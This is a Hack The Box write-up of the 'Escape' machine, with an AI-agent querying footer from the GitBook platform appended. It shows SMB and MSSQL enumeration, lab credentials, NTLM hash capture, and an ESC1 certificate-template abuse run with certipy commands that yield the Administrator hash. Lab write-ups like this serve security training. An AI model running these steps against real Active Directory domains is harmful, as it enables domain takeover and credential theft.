> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-escape.md). # HTB - Escape ## Enumeration and Intial Access ### NMAP ```bash PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-16 23:57:18Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49679/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49680/tcp open msrpc Microsoft Windows RPC 49701/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC ``` Domain Name: `sequel.htb` No DNS Zone Transfer. ### SMB ```bash ┌──(ajay㉿kali)-[~] └─$ nxc smb 10.129.228.253 -u '' -p '' SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.253 445 DC [+] sequel.htb\: ``` Cant list shares anonymously but can list through guest access. ```bash ──(ajay㉿kali)-[~] └─$ nxc smb 10.129.228.253 -u 'guest' -p '' --shares SMB 10.129.228.253 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.228.253 445 DC [+] sequel.htb\guest: SMB 10.129.228.253 445 DC [*] Enumerated shares SMB 10.129.228.253 445 DC Share Permissions Remark SMB 10.129.228.253 445 DC ----- ----------- ------ SMB 10.129.228.253 445 DC ADMIN$ Remote Admin SMB 10.129.228.253 445 DC C$ Default share SMB 10.129.228.253 445 DC IPC$ READ Remote IPC SMB 10.129.228.253 445 DC NETLOGON Logon server share SMB 10.129.228.253 445 DC Public READ SMB 10.129.228.253 445 DC SYSVOL Logon server share ``` ```bash ──(ajay㉿kali)-[~] └─$ smbclient //10.129.228.253/Public -N Try "help" to get a list of possible commands. smb: \> dir . D 0 Sat Nov 19 06:51:25 2022 .. D 0 Sat Nov 19 06:51:25 2022 SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022 5184255 blocks of size 4096. 1440778 blocks available smb: \> get "SQL Server Procedures.pdf" getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (165.7 KiloBytes/sec) (average 165.7 KiloBytes/sec) smb: \> ``` There is an SQL procedures file in the Public Share extracted it to the attack machine. There is an ms-sql server running on port 3268.
Public users can access the SQL server using the creds given. ### MSSQL ```bash ──(ajay㉿kali)-[~] └─$ mssqlclient.py sequel.htb/PublicUser:'GuestUserCantWrite1'@10.129.228.253 Impacket v0.14.0.dev0+20260611.171053.546f7acc - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000) [!] Press help for extra shell commands SQL (PublicUser guest@master)> ``` `XP_CMDSHELL` access is denied and trying to enable it also denied. The next thing to try is to get the SQL server to connect back to my host and authenticate, and capture a challenge / response that I can try to brute force. #### Capturing NTLM Creds VIA MSSQL
i can crack it using hashcat or john.
`REGGIE1234ronnie (sql_svc)` ## Shell as sql\_svc
There is Ryan.Cooper and Administrator user. There is an SQL Server directory in the C:/ drive which i have read access.
There are logs for the SQL Server.
There are creds for Ryan Cooper. i can sue them to login as Ryan. ## Shell as RyanCooper
Ryan is part of Certificate service. I can look for ADCS templates that are vulnerable. #### Enumerating Vulnerable Certificates ```bash ┌──(ajay㉿kali)-[~] └─$ certipy find -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -vulnerable -stdout Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'sequel-DC-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'sequel-DC-CA' [*] Checking web enrollment for CA 'sequel-DC-CA' @ 'dc.sequel.htb' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC-CA DNS Name : dc.sequel.htb Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101 Certificate Validity Start : 2022-11-18 20:58:46+00:00 Certificate Validity End : 2121-11-18 21:08:46+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SEQUEL.HTB\Administrators Access Rights ManageCa : SEQUEL.HTB\Administrators SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins ManageCertificates : SEQUEL.HTB\Administrators SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Enroll : SEQUEL.HTB\Authenticated Users Certificate Templates 0 Template Name : UserAuthentication Display Name : UserAuthentication Certificate Authorities : sequel-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : IncludeSymmetricAlgorithms PublishToDs Private Key Flag : ExportableKey Extended Key Usage : Client Authentication Secure Email Encrypting File System Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 10 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2022-11-18T21:10:22+00:00 Template Last Modified : 2024-01-19T00:26:38+00:00 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Domain Users SEQUEL.HTB\Enterprise Admins Object Control Permissions Owner : SEQUEL.HTB\Administrator Full Control Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Write Owner Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Write Dacl Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Write Property Enroll : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Domain Users SEQUEL.HTB\Enterprise Admins [+] User Enrollable Principals : SEQUEL.HTB\Domain Users [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. ``` The machine is vulnerable to ESC1. **What does ESC1 mean?** * **ESC1** = "Enrollee Supplies Subject" vulnerability * This means when you request a certificate, **YOU can specify who the certificate is for** * You're not limited to your own identity - you can say "I want this certificate for Administrator" The `UserAuthentication` template is vulnerable. ### Exploiting ESC1 **Step 1: Request a certificate impersonating the Domain Administrator** ```bash ─(ajay㉿kali)-[~] └─$ certipy req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -target dc.sequel.htb -ca 'sequel-DC-CA' -template 'UserAuthentication' -upn 'Administrator@sequel.htb' Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 13 [*] Successfully requested certificate [*] Got certificate with UPN 'Administrator@sequel.htb' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx' ``` **Next i need to sync the time with the AD else i would get clock skew error.** ```bash ─(ajay㉿kali)-[~] └─$ sudo ntpdate 10.129.228.253 2026-06-16 20:49:30.523776 (-0400) +28791.804491 +/- 0.024678 10.129.228.253 s1 no-leap CLOCK: time stepped by 28791.804491 ``` **Step 2: Authenticate with the Certificate to Get Administrator's NTLM Hash** ```bash ──(ajay㉿kali)-[~] └─$ certipy auth -pfx administrator.pfx -dc-ip 10.129.228.253 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'Administrator@sequel.htb' [*] Using principal: 'administrator@sequel.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee ``` I can use the hash to get access as Administrator. ## Shell as Administrator
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-escape.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.